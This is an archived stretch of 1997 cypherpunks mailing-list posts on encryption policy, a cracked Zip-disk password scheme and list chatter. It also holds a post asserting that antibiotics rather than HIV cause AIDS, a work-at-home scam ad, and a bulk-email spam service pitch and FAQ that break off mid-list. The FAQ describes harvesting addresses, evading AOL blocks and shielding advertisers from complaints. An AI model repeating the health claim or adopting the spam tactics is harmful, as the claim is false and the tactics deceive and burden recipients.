From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Sat, 25 Jan 1997 07:32:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: HELLO
Message-ID: <19970125.102915.11966.4.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Is  ESDES  a good program?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 10:32:31 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: overview.htm
In-Reply-To: <FPc41D32w165w@bwalk.dm.com>
Message-ID: <32EA5194.7A53@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Jim Choate <ravage@einstein.ssz.com> writes:

> [For the record, I have serious doubts whether the HIV virus causes AIDS.]

Both homosexual males and IV drug users are well known to take a lot
of antobiotics, which lowers the efficacy of the immune system enough
to allow most anything to happen, ultimately leading to auto-immune
problems.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Sat, 25 Jan 1997 07:54:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypt_1.html
Message-ID: <199701251609.LAA28394@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
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    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
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   Friday January 24 10:08 AM EST 
   
US Senator Will Reintroduce Encryption Export Bill

   WASHINGTON - Sen. Conrad Burns will reintroduce next week his measure
   to substantially eliminate export restrictions on computer encoding
   technology, a spokesman for the Senator says.
   
   "We are aiming for the 28th (of January) and it will be the same bill
   as last year," Matt Raymond, spokesman for the Montana Republican,
   said.
   
   President Clinton signed an executive order in November slightly
   relaxing export controls on encryption technology -- computer programs
   that use mathematical formulas to scramble information and render it
   unreadable without a password or software "key."
   
   But many in Congress and the computer industry have said the new
   Clinton policy did not go far enough to lift the Cold War era export
   limits that classified most encryption programs as munitions.
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <MAILER-DAEMON@cts.com>
Date: Sat, 25 Jan 1997 11:21:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: mail failed, returning to sender
Message-ID: <m0voDfH-000YZFC@mailhub.cts.com>
MIME-Version: 1.0
Content-Type: text/plain


|------------------------- Message log follows: -------------------------|
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X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Sat, 25 Jan 1997 13:21:12 -0600
To: pal@king.cts.com
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Subject: Re: Extra Income
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

FUCK YOU SPAMMER



>***********************************************************************
>Our Research Has Indicated That The Following
>Message Will Be Of Interest To You.
>***********************************************************************
>
>Imagine what you can do with...
>
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> Here's How To Get Started
>
>      Let me tell you which companies to contact so you can start to
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>
>      My name is Henry Summers. I investigate income opportunities
> that are advertised in magazines or by mail or are listed in home work
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>
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> me direct you to the best opportunities that are available today. Ones that
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>
> Get Paid For Stuffing Envelopes.
> No Fees. Nothing To Buy.
>
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> until after you send in your money.
>
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>
>       * You do not need to pay any fee or buy any materials to get started.
>       * You do not do any advertising or handle any orders.
>       * All printing, postage, and mailing lists are supplied free by
>          the companies that pay you.
>       * Your pay is based entirely on how many envelopes you complete.
>
>      Rosie Martinez is an example of someone who earns money stuffing
> envelopes. The company delivers all the materials right to her door.
> She stuffs the envelopes, seals them, and applies the mailing labels
> and postage stamps that are supplied. Then she gets paid for every
> envelope completed.
>
>      Rosie says, "I'm retired, and I enjoy having something to do.
>                          I usually watch television while I work. The
>                          home shopping  shows are much more fun now
>                          that I have money to spend."
>
>      If you'd like to do this kind of work, just follow the directions in
> Chapter 3 of my book "Real Home Income". Or try any of the other
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>
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>
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>
>      There are no qualifications to meet, so you will not be turned
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> more money, there are plenty of others you can try.
>
> Get Paid For Assembling Miniatures
>
>      Gina Walker of Texas likes to assemble miniature furniture for doll
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> All the necessary materials are supplied by the company that
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>
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>
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>
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>
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>
>How I Made $800.00 Per Week After Losing My Job
>
>     I became interested in home income opportunities several years
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>
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>
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>
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>
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>
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>
>Receive One Dollar For Each Envelope You Stuff.
>Envelopes Come To You Already Stamped And Addressed.
>
>     This easy work is advertised by over thirty- five companies. But
>they require that you pay $25.00 to $45.00 to register in their
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>
>     That's where my book can help out. I describe the three kinds of
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>
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>
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>
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>
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>
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>
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>
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>the book.
>
>Unlimited No Nonsense Guarantee
>
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>
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>possible. Please complete the order form and mail it today.
>Everything will be rushed to you by first class mail.
>
>
>                                                           Sincerely,
>                                                           Henry Summers
>
>     P.S. I've recently discovered an amazingly profitable
>            opportunity. One person I talked to made $20,000 in his
>            first six weeks... working right at home in his spare
>            time. It is not multi- level marketing. I've never seen
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>            to call so you can get started.
>
>
>
>                              Please Print and Mail This Order Form
>
----------------------------------------------------------------------------
-------------------
>   SUMMERS PUBLICATIONS                                      # 30516  
>   1010 Calle Cordillera, P.O. Box 3127
                        
>   San Clemente, CA 92672
                             
>
                                             
>             ( ) Yes, I would like to get started. Please rush me
                    
>                  "Real Home Income" under your lifetime money-
             
>                   back guarantee. Enclosed is $29.95 plus $3.00 for
                 
>                   postage and handling. $32.95 total. (If you live in
                  
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>
                                             
>        Name____________________________________________       
>
                                             
>       Address___________________________________________     
>                                                                      
>       City, State, Zip_____________________________________     
>
>
>---------------------------------------------------------------------------
----------------------
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 25 Jan 1997 08:43:58 -0800 (PST)
To: jer+@andrew.cmu.edu (Jeremiah A Blatz)
Subject: Re: Encrypting ZIP disks
In-Reply-To: <199701250958.BAA23622@toad.com>
Message-ID: <199701251640.LAA17410@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Paul Kocher announced that he has cracked it, and can recover data
quickly.  He is not publishing details of the break.

Adam


Jeremiah A Blatz wrote:
-- Start of PGP signed section.
| "David E. Smith" <dsmith@prairienet.org> writes:
| > 7.  Secure sensitive files.
| >      To keep sensitive or confidential information safe, store it
| >      on a Zip disk and use your Zip Tools software to assign a
| >      password that must be used in order to read from or write to
| >      the disk.  At work, you can protect sensitive information
| >      such as personnel files, company directories, and product
| >      plans and designs.  At home, you can secure personal
| >      information such as tax records, budgets, and computerized
| >      checkbooks.
| 
| FWIW (not much), Iomega claims that it can't recover the data on a
| password-protected disk. However, they do export those things, so I
| doubt it's strong.
| 
| Jer
| 
| "standing on top of the world/ never knew how you never could/ never knew
|  why you never could live/ innocent life that everyone did" -Wormhole
-- End of PGP signed section.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 25 Jan 1997 09:50:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Public Key Partners
Message-ID: <970125125001_1659050229@emout02.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Do you know of a way I can contact Public Key Partners by e-mail or phone?
Thanks.

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 25 Jan 1997 11:17:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: US Info Supremacy
Message-ID: <1.5.4.32.19970125191205.006fe378@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>From Financial Times 26 January:

"Defence experts in both the US and western Europe
have commented recently that the US forces' lead in
information technology is growing to the point where
Washington may question the military usefulness of
allies."

Pointers to these comments would be appreciated.

Further, if the speculation of US supremacist go-it-alone
policy is correct, how might this affect:

1. US crypto export policy.

2. Crypto czar Aarons' role in promoting global GAK.

3. Other nation's suspicion of the US and its technological
prowess, caused, for example, by the NSA's avowed intention 
to surveil all the world's communcation, and if encrypted to 
crack it at any cost.

4. Increasing isolation of the US from foreign innovation 
and talent -- the imperialist incest decline.

5. The future of treaties such as US/UK/AUS, NATO, SEATO,
and the like for intel-sharing and crypto control.

Two observations:

One, last year's NRC crypto report said that strong crypto should not be 
a problem, and that other, unidentified, technologies should 
be supported instead to assure domestic and national security.

Two, the recent InfoWar-Defense report has been criticized as unduly
alarmist, because the US has sufficient means (Perry and others 
claim) to protect against information attacks. One NCSC commentator 
on talk.politics.crypto said that the IW-D techie panelists were out of 
touch, unlike Stewart Baker, a lawyer!

Hence, it might be worth considering that both the NRC report and
the IW-D reports are diversionary, disinformation to conceal US
true capabilities -- strengths and weaknesses. Moreover, the crypto 
debate itself might be diversionary from other more crucial information 
defense technology -- for surveilling, sifting, interpreting, analyzing, 
decrypting, mining and securely storing. As well as offensive means 
to counterattack US communications attackers.

Or, turning the matter one more time, perhaps crypto is in fact the heart 
of the national security problem and the avowed other, unidentified, more
crucial, technology is a sham to mislead about US and other government's
true weaknesses. The Commerce Control List is almost incoherent in
trying to definitively regulate advancing technology.

Paranoia may be increasing among governments due to the crypto debate
and related issues of information security, such that each may, like the
US is allegedly doing, retreating to within its own technological borders, while
at the same time engaging in PsyWar about threats, defenses and offenses.

Hello, Tim May and our other solons and Solomons.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:26:41 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: Add To Your Monthly Income!!
Message-ID: <19273401602854@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


 Enclosed is the information you requested from Quantum Communications
regarding bulk Email advertising services:

Contact Info: 
Quantum Communications 
6 Laurel Lane Stratham, NH 03885 
603-772-4096
603-772-7297 fax 
staff@quantcom.com (general email) 
sales@quantcom.com(sales) 
cusserv@quantcom.com (customer service)
http://www.quantcom.com

Quantum Communications
Proudly presents:
BULK E-MAIL ADVERTISING SERVICE!

Would you like to offer YOUR product or service to potential 
customers via E-mail?

Consider the advantages of sending your marketing letter ALONE or
Co-op to MILLIONS of persons directly via E-mail:
 + NO sharing of space in a cluttered publication
 + NO being buried amidst 100 other postcards in a card deck
 + NO wondering if your prospects will see/read your offer
 + NO having to fight for your prospect's attention
 + NO price-shopping, having your offering compared to others nearby it
 + EXTREMELY COST EFFECTIVE - as low as .009 cents per letter!!
 + Your piece/letter goes out ALONE or Co-op, depending on YOUR needs and
   budget
 + Everyone reads their Email!
 + NO need to wait for a publication date! We mail according to YOUR timetable, and all mail
   reaches the target within 1 day!

Bulk Email is the perfect way to reach new prospects! Our 
state-of-the-art servers and proprietary software allow us to 
send your offering to MILLIONS of fresh prospects. All names on our
list have been sent a test letter, enabling us to delete
undeliverables and persons who do not wish to receive unsolicited
Email advertisements. Therefore, all the prospects we send YOUR
offering to are responsive, quality prospects! As part of our standard
service package, we also provide the following:
 + An autoresponder,which allows a prospect to simply click reply and instantly receive a
complete package of detailed further information via Email from your
company (up to 20 pages in length!)
 + A unique Email address to which inquiries for your offering are forwarded, allowing you to build up
your own database of hot prospects.
 + Complete design/copy assistance based on your goals and objectives

We offer a service package designed to fit every need and budget!
Choose either General Bulk (your letter sent ALONE),
 Co-op Bulk (your ad sent with  others),
 or Targeted Bulk (custom-built lists to YOUR specs).

Consider the benefits of using Quantum Communications for sending your bulk
email advertising:

 * Highest quality list of hot prospects!
 * Largest database (over 5 million, mostly online service members, NOT
newsgroup posters)!
 * Lowest rates in the industry!
 * FREE features included such as autoresponders, email forwarding, and copy design
assistance!
 * No-Nonsense response rate guarantee!
 * 100% approved FINANCING. No one turned down!
 * Top-notch customer service. The best in the industry, as our references will confirm!
 * Targeted lists available, custom built for YOUR project!

Rate Card:
___________________________________________________
Bulk Email Advertising Service
Stand Alone Ad, up to 40 lines of text:

$299 per 100,000, in even lots of 100,000
____________________________________________________
Co-Op Bulk Email Advertising Service
THE "MEGA-MAILER"
Sent to our full database of 5 million hot prospects!
Sent with other ads, 

up to 5 lines of text: $599
6-10 lines of text: $849

lines are 70 characters (spaces count) long

number of pieces		5 MILLION       
_____________________________________________________
Targeted Bulk Email 
Stand Alone Ad, up to 40 lines of text:

under  10,000                               9.0 cents per piece
10,000 to 25,000                          8.5 cents per piece
25,000 to 50,000                          8 cents per piece
over 50,000                                  7.5 cents per piece

*Contact us with areas to target and we will quote
   you a price.  
______________________________________________________
PAYMENT TERMS: 
10 % Prepay Discount for 100% pre-pay OR
FINANCING- NO Credit check. ALL APPROVED!
50% down, balance broken up into 2 equal monthly installments.
EFT only ( drawn on US bank account ) for financing.

_____________________________________________________
No-Nonsense Response Rate Guarantee:

There are many scams alive on the Internet.
Although the Net represents the greatest opportunity for a business to
expand and grow that has ever existed, dozens of "snake-oil" purveyers
prey on such businesspeople daily.

 Bulk Email Advertising is, in effect, the grass-roots basis at the
 foundation of all Net
advertising.
 It is effective, economical, fast, relatively inexpensive
(in comparison with other media, sometimes almost ridiculously so); in
short - it works! The only glitch with this new advertising media is
the con artists, as we have mentioned.

 Quantum Communications is committed
to providing a quality service to advertisers at a reasonable price.
No, we do not offer to supposedly send out a billion email ads for
$39. No legitimate company can afford to promise that AND actually do
it. Unfortunately, by the time most advertisers find that out, they
have lost their money. We believe, instead, in guaranteeing our
responses at a minimum level so each and every advertiser can rest
assured that their money is well spent. We guarantee the following
minimum responses to your advertising piece. If the responses do not
reach the minimum amount, we will continue to include your piece in
our co-op (if it was a co-op), or we will continue to mail the piece
by itself, in sufficient amounts until the minimum responses are
reached. These replies are only the POSITIVE responses and inquiries.
Flames or negative replies, etc. are filtered by us, and you never see
them! (they of course are NOT counted towards your minimum response
guarantee).

 Minimum Responses:
 General Bulk Email: 100 replies per 200k pieces sent

"MEGA-MAILER"  Co-Op Bulk Email:  200 replies

Targeted Bulk Email: 150 replies per 5,000 pieces sent (3.%!)

 As you will notice, this fixes the MAXIMUM cost PER REPLY at $2-3.
 Knowing how much each reply will cost you AT THE MOST allows you to
 plan your marketing budget and plan for success!

This also causes us to take extra care when helping to examine your ad
copy and suggest any revisions. Professional ad copy design is
available for a surcharge of $80 per hour.
 We have a stake in making sure you succeed! We
have many references who will vouch for our resolve and character as a
company. Please feel free to call and speak with them. Also, feel free
to either email us ( staff@quantcom.com) or call our offices at (603)
772-4096 and speak with us at any time Mon-Fri, 9AM to 7PM EST

PAYMENT FOR SERVICES:
We accept personal and business checks and money orders. We DO NOT
accept credit cards at this time. If you would like to utilize your
credit card, we recommend you get a cash advance from the card and
deposit the funds into your personal or business chec

IMPORTANT NOTE:
All payments remitted must be in U.S. funds, drawn on a U.S. bank.
EFT's must be drawn on an account in a U.S. bank. International
customers outside the U.S. may either send an international bank money
order (cashiers/bank cheque) drawn on their bank in U.S. dollars (by
postal mail/overnight mail), or may have funds wired directly to our
U.S. bank account. Email or call

TO PLACE AN ORDER:
Please make sure and include all of the information listed below, plus
your ad copy (unless you are requesting we design it for you) and
autoresponder copy, if needed (again, unless we are designing it for
you). You may  place an order in one of four ways:

1) Call our sales dept at (603) 772-4096. One of our sales reps will
be happy to assist you, answer your questions, and help you get
started.

2) Email us your phone # and best time to call, and one of our
representatives will call you.

3) Send us an email with the following information included. Be sure
and include ALL information. If anything is unclear, please feel free
to email us (staff@quantcom.com) or call our sales dept. Also be sure
and include ad copy and autoresponder copy, in

4) Print out the following "Needed information" form, and fill it out.
Then fax it to us at 603-772-4096, or send it via postal (snail) mail
to: Quantum Communications, 6 Laurel Lane , Stratham, NH, 03885
(optionally, you may include a regular check/money order.

Your Email advertising will be sent within 10 business days. We can
handle staggered or variable send schedules but in all cases require
10 days lead time. You will be sent a copy of your mailing when it is
sent so you will know that it has been sent.

Needed information for  Processing of ad form order via email/fax:
Name: Contact: Postal Address: City,State,Zip: Voice Phone #: Fax
Phone #: Email Address: Services Ordered: (General Bulk / Targeted
Bulk / MEGA-MAILER) How many recipients? Do you need us to design ad
copy? (y/n)
 * If yes, there is an $80 surcharge for professional ad copy design,
 plus $80 per hour for autoresponse copy design
Total Price:
Referred by:
Do you need an autoresponder?
Do you have a preference of email alias? (whatyouwant@quantcom.com)

*** Make sure Ad Copy and Autoresponder copy are included or
attached***

Before filling out the payment info, please decide how you  will be
addressing the payment terms. See the section above on prices for
available terms.

Payment Info:
The following information is all located on the face of your check.
Please realize that providing the information electronically is no
different than sending a paper check. When a paper check is sent, all
the same account numbers are visible. 
Account name: 
Bank Name,City,& State:
Amount:$ 
Check #: 
Authorized Signature: 
Transit #:
(also referred to as the ABA routing number, this is the group of
numbers which is usually in the lower left portion of the check and is
enclosed in funny looking brackets that look like this |: The number
is exactly 9 digits long.)
 Account # :
(Another group of
numbers on the bottom edge of the check, should be the rest of the
numbers there besides the transit #. The check # should be part of
this grouping also. )

*** If you have any questions about
which numbers are which, simply call your bank and ask them what your
account # and transit # (or ABA routing #) are.***  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:28:43 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: Add To Your Monthly Income!!
Message-ID: <19273486702855@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Quantum Communications
Frequently Asked Questions (FAQ)
Direct Email Marketing

Contents:
1) What are your minimum orders?
2) Why can't I just do mailings myself?
3) What about Floodgate and other similar software mailing programs?
4) What if I have my own list?
5) What about the other Email Advertising companies?
6) What is the legal status of Email Advertising?
7) What about blocking by AOL?
8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
9) What is an "autoresponder"?
10) What about ad copy design?
11) What about proof-of-mailing?
12) What is the "response rate guarantee"? How does it work?
13) What is your mail sending capacity?
14) What is the average lead time before my ad can be sent?
15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
16) What categories are available for targeted lists?
17) Do you have sub-agent opportunities?
18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
19) What about undeliverables?
20) Contact Info

1) What are your minimum orders?
Our minimum orders are 5,000 pieces for targeted mailings (in even lots of 5,000), 100,000 pieces for stand-alone bulk mailings (in even lots of 100,000), and 5 MILLION for the MEGA-MAILER co-op mailing (the full 5 million is the only size). As long as y
our order is for at least  the minimum amount of pieces, and in even lot sizes, you may stagger the actual sendings any way you wish (50,000 per week, etc.). Note, however, that the MEGA-MAILER is only sent once per week and is sent to the full 5 million
 address list. The reason we have minimums at all is due to the fact that the majority of our cost in terms of man-hours comes as a result of setting up a mailing, and so we cannot spend the time and money to setup too small a job.

2) Why can't I just do mailings myself?
Technically, you can. For practical purposes, you can't. There are three reasons why it is implausible to even attempt to do your own Email Advertising:
  1) Every single internet service provider on the planet will shut down your account. You will not even get 1000 pieces of mail out, and you will be shut down, because some uptight, self-appointed net-cops will complain to your provider. Do not kid your
self. It WILL happen. Sending unsolicited commercial Email of any type is a violation of virtually every ISP's Terms of Service. Even if your ISP tells you it's OK (which will not happen 99% of the time), they will very quickly change their tune after th
eir technical people receive a mailbox full of angry mail (commonly referred to as flames). When your account is cancelled, you will NOT get a refund, and, worse yet, you won't even be able to retrieve your replies! 
  2) A very large technical capacity is required to send bulk Email. You MIGHT be able to send 5,000 or so pieces of mail per hour, with a 28.8 modem, except that with dial-up internet connections, there are always dropped connections and so you can neve
r be sure your mail went out unless you constantly sit and monitor the mailings all day and night, and send very small pieces at a time.
  3) In order to have a list of addresses to send to, you have two choices: either spend months collecting names, or purchase an over-used list from a list vendor, who has sold the same list to dozens of others, who will bomb the list into uselessness. I
n addition, most lists are so old that the names are 40% undeliverable, or from newsgroups, which are the WORST kinds of people to solicit. 
These three factors make it a practical impossibility to actually do your own bulk Email advertising, even though the vendors of the bulk Email software will not tell you this. The reason we do not have these hassles is because Quantum Communications IS 
OUR OWN INTERNET PROVIDER. We do not purchase service from anyone, and Email advertising is our only business! We have our own in-house servers, high-speed T-1 connections to the Internet, and full-time technical and customer service staff, yet our only 
customers are advertisers! Our lists are constantly maintained, updated, and cleansed, and are ONLY from high-quality sources. We DO NOT sell our names, or let anyone see them. See Question 18 for more on our lists. 

3) What about Floodgate and other similar software mailing programs?
Those programs can actually be fairly useful for extracting Email addresses and if you would like to build your own lists to your own specifications, that is an option (See Question 4 "What if I have my own list?"). However, building mailing lists is an 
EXTREMELY time-consuming and monotonous task, not to mention expensive in on-line charges. In addition, having these software programs will not help in the least in the sending issues you need to consider (See Question #2, above). We handle all aspects o
f the mailing process, leaving you free to concentrate on your business!

4) What if I have my own list?
We are fully able to use your list and send your mail to it. The price is 50% of what it would normally be. We simply have you Email or ftp your list to us, with ad copy (and autoresponse copy, if necessary).

5) What about the other Email Advertising companies?
There is some competition in  Direct Email marketing for your advertising dollar, and we have never purported to be the cheapest. We simply are the best. Most of the other "cheapo" companies who claim to offer a zillion pieces sent for $39, or some simil
ar lowball deal, are quite frankly, scams. No legitimate company can afford all of the hardware, software, and personnel that a true advertising company like ours posesses, without charging a reasonable fee for providing of the service. Most of the low-r
ent Email marketing companies are here-today, gone tomorrow. Perhaps gone with your money. Almost certainly gone without providing the actual service you paid for. Many of them look great until you investigate them further. Try calling them and getting a
 real live person on the phone. Or try asking them some of the questions referred to in this document. Most will disappear when you start asking serious questions. Or try asking for references. Good luck. There are so many fly-by night operators and snak
e-oil salesmen on the 'net, it is hard to know what to believe. But the basic truths in business hold true. You should be able to call and get a live person on the phone, you should be able to check references and ask pointed questions, you should have a
ccess to customer service and technical support, and you should be able to get a clear understanding of who you are dealing with, and how they do business. One mailing with us and you will be convinced that we truly are the cadillac of the industry.

6) What is the legal status of Email Advertising?
Direct Email Advertising and solicitation is legal. It always has been. There are many self-styled legal eagles who dislike Email solicitation, and they will sometimes misquote federal statutes which apply to sending of unsolicited FAXES. There has never
 been a higher-court ruling supporting this supposed link between Email and unsolicited FAX.
It is highly unlikely that such a ruling will EVER occur. If it does, we of course will need to adjust our business practices  to stay in accordance with the law. However, at the present time, and for the foreseeable future in our opinion, Email solicita
tion is just as legal as postal mail solicitation. The only real negative point which anti-Email advertising people address is that SOME people pay for their connect time at a timed/metered rate. Thus, the milliseconds which it takes to download an unsol
icited piece of mail does cost the recipient (albeit tiny fractions of a penny). However, almost all ISP's (even America Online) have moved, or will be forced by competition to move, to an unlimited time rate structure. Therefore, this will no longer be 
an issue, and the persons who oppose Email advertising will have no legs to stand on. As this happens, Email advertising will become exactly like postal mail solicitation ( it is actually LESS intrusive than postal  junk mail), and therefore we believe i
t will NOT be regulated or legislated against.
 As a side note, we do provide a very clear, brief disclaimer at the header of ALL of our mailings which gives quick, simple removal instructions for persons who do not want to be on our lists. We act on all such requests immediately. In fact, it is an a
utomated process. We do not want to be sending mail to unwilling recipients any more than they wish to receive it.

7) What about blocking by AOL?
America Online has recently taken to blocking Email solicitations to it's members by certain Email Advertising companies. These companies are the ones who had been abusing their power, and had in fact been over-mailing (sending multiple pieces to the sam
e recipients PER DAY). The most well-known of these companies was Cyber-Promotions. We feel that since we only send mail no more than 3 times per week to any single recipient, AOL is unlikely to begin blocking our transmissions. We also could take counte
rmeasures technically and send to them again if necessary. However, our list only consists of about 25% AOL members, and that percentage is shrinking, as most of our newer names are coming from indepedent ISP sources (see Question # 18), so a blockage, w
hile unlikely, would not affect us in the least in any event. Incidentally, we find it interesting that AOL does not apparently mind soliciting it's members (one cannot be online with them without getting at least 3 pop-up ads PER SESSION), they simply d
on't want others soliciting their members without compensating THEM.

8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
Flames are the hate mail which is a part of Email soliciting today. Flame filtering is the automated filtering process we use to ensure that replies forwarded to you (by us) are only positive, serious inquiries, requests for information, orders, etc. We 
assign customers an Email alias at OUR domain. We are the only ones who know your REAL Email address. We then have all replies to your advertising sent to the alias we have assigned you so that we can filter out flames, then forward the "good" replies to
 you. No one can complain to your ISP, because as far as anyone knows, WE are your ISP (and we of course will not pay any attention, except to promptly remove them from our lists). In this way, you are totally insulated and protected, while still getting
 all "good" replies! Good replies are forwarded to you automatically as they come in. There is NO lag time or waiting.

9) What is an "autoresponder"?
An Autoresponder is just an Email alias which we can have prospects who see your advertising respond to. When the response hits the autoresponder, it kicks back an automatic text file reply via Email, which is typically a more detailed package of informa
tion (up to 20 pages)  regarding your product or service. This effectively helps you weed out the "tire-kickers", so you are free to concentrate on fulfilling orders and more serious requests. A typical procedure is for a small "teaser" ad to be sent, wi
th an autoresponder as the reply-to address. In the autoresponse text, you would typically include another Email alias for orders or more serious or specific questions.

10) What about ad copy design?
We do have a copy editor on staff who is available to either write your copy from scratch or revise existing copy you already have. This is usually a wise investment, because the copy can be reused many times in different mailings, it will be done by a s
easoned professional with over 10 years of experience in copywriting, and the actual copy is more than anything the key difference between success and failure when doing an Email marketing campaign. Think about it. Email is text only. No graphics, no mov
ing pictures, sounds or colors. The content is all-important.
 Charges are $80 per hour, with typical costs being 1/2 hour for a revision, 1 hour for a small ad design, and 3 or more hours for design of ad copy plus autoresponse copy.

11) What about proof-of-mailing?
When sending mail via the US Postal Service, a proof of mailing receipt is provided. There is no such counterpart in the world of Email. Although you will receive confirmation of your mailing once it is sent, the best way to become comfortable with deali
ng with us is by first talking with our references, then by doing a single mailing to see what we can do for you. Once you have done business with us you will agree that we deliver exactly what we promise. Our minimum response rate guarantee is further e
vidence of this, and renders the question of a proof of mailing as somewhat moot. We do actually have a log of all sent mail which is generated by our mailing software, but we only disclose the log under extenuating circumstances, and for a fee of $50 pe
r 100,000 pieces sent, as it lists every mail sent, which discloses our list.

12) What is the "response rate guarantee"? How does it work?
Our unique "response rate guarantee" is a clear indication of not only our rock-solid commitment to each and every advertiser, but also of our belief in direct Email advertising as a marketing medium. We know of no other advertising agency (Email or othe
rwise) who actually GUARANTEES a minimum number of responses. Our guarantee is the following:
  1) If you do not receive AT LEAST the minimum guaranteed responses from your Email Advertising, we will send on your behalf again, and again, and again..until you get the minimum amount!
  2) You must allow 10 business days from the date your mailing was completed and you received confirmation, before requesting a remailing.
  3) Of course, only positive, interested replies are counted towards your guaranteed minimum.
  4) For this guarantee to apply, we must be able to verify the amount of replies you receive, so your ad must direct interested persons to an autoresponder or Email alias which we provide.
  5) Any remailings are done on the same scale and amount as the original mailing, but to different recipients (except for the MEGA-MAILER or targeted lists)).
  6) You must request a remailing by sending an Email to our customer service department, or by calling our office (ask to speak to customer service). We do not monitor replies automatically and automatically resend.
  7) You may, at no charge, alter your original advertisement in any way you wish, as long as it is the same type of mailing as the original (targeted must be to the same group), and the same length as paid for in the original. Optionally, you may have t
he ad revised professionally by us (See Question # 10). 
The Minimum responses guaranteed are as follows. We have had to make the numbers guaranteed purposefully low, because we extend this guarantee to ALL advertisers, regardless of whether or not they have effective ad copy or an appealing product or service
. We of course strive for much higher responses for everyone, but is helpful to know that there is a "safety net", just in case.
MINIMUMS:
GENERAL STAND-ALONE BULK: 100 REPLIES PER 200,000 PIECES SENT
TARGETED BULK: 150 REPLIES PER 5,000 PIECES SENT
MEGA-MAILER: 200 REPLIES
This allows advertisers to plan on a maximum cost per inquiry, which can be essential when planning a marketing budget. This guarantee, more than any other single factor, shows that Quantum Communications is a cut above the rest in the world of Marketing
 and Advertising!

13) What is your mail sending capacity?
We have the technical capacity to send over 2 million pieces of mail per day. We have invested heavily in hardware, software, and high-speed mail transmission facilities to be able to achieve this capacity. We can handle your job, large or small. 

14) What is the average lead time before my ad can be sent?
The current lead time is 7-10 business days. This allows time for your ad copy to be submitted and for any revisions you may have before the mailing date. We actually work very hard to keep the lead times to a minimum, however, there has been a very high
 demand for Email advertising services, and it has been difficult just keeping up. If you have a special need to expedite an order, call or Email our customer service department, and we will make every effort to accomodate you.

15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
This depends entirely on your product or service. If you have a product or service which has a broad-based appeal, it is definetely better to send to a larger group of people. If you have an offering which you think needs 20-30 lines to entice people or 
grab their interest, then you need a stand-alone (the MEGA-MAILER is not for you). If you are announcing a website and just want mass exposure to 5 MILLION people, the MEGA-MAILER is just the thing. Of course, if you are trying to reach a select group, y
ou need to have a targeted mailing. You may Email or call our sales department and a sales representative will be happy to assist you in selecting the right type of mailing to suit your offering.

16) What categories are available for targeted lists?
We custom build all of our targeted lists from scratch, and 90% of our targeted lists are never re-used. We are able to build a custom-designed list to YOUR specifications. So, in other words, you tell US what the category is, or the demographics of the 
persons or businesses you are trying to reach. We then get an estimate from our List staff for approximately how many names we will commit to being able to find. Our sales staff will work with you on this issue. Of course, it is always a much lower volum
e of names than a normal bulk list, but we have seen response rates of over 5% when mailing a targeted group!

17) Do you have sub-agent opportunities?
Yes we do.
We are currently accepting sub-agents who wish to promote and re-sell our services, or simply send us referrals.
For a copy of our agent registration kit via Email, send an Email to agent@quantcom.com

18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
Our Lists department is continually extracting fresh names for our lists from many sources. The sources include the membership directories of all the major online services (AOL, Compuserve, Prodigy, Delphi, MSN), plus the "white pages" Email databases su
ch as 411, IAF, etc. We NEVER extract names from newsgroups, except to build targeted lists. We NEVER send mail to Listserv's, .edu's, .gov's, etc. We automatically delete removal requests immediately, as well as undeliverables. We add 400,000 to 800,000
 fresh addresses each week. For these reasons, we feel that we have a super-high quality database, which consists of over 6 MILLION addresses. This high list quality is another feature of our service, and boosts response rates dramatically over our compe
titors. Although we add addresses constantly, and are attempting to reach 10 MILLION addresses by 2nd quarter of 1997, it is difficult because we lose about 10% of our database each week to removal requests and undeliverables. 

19) What about undeliverables?
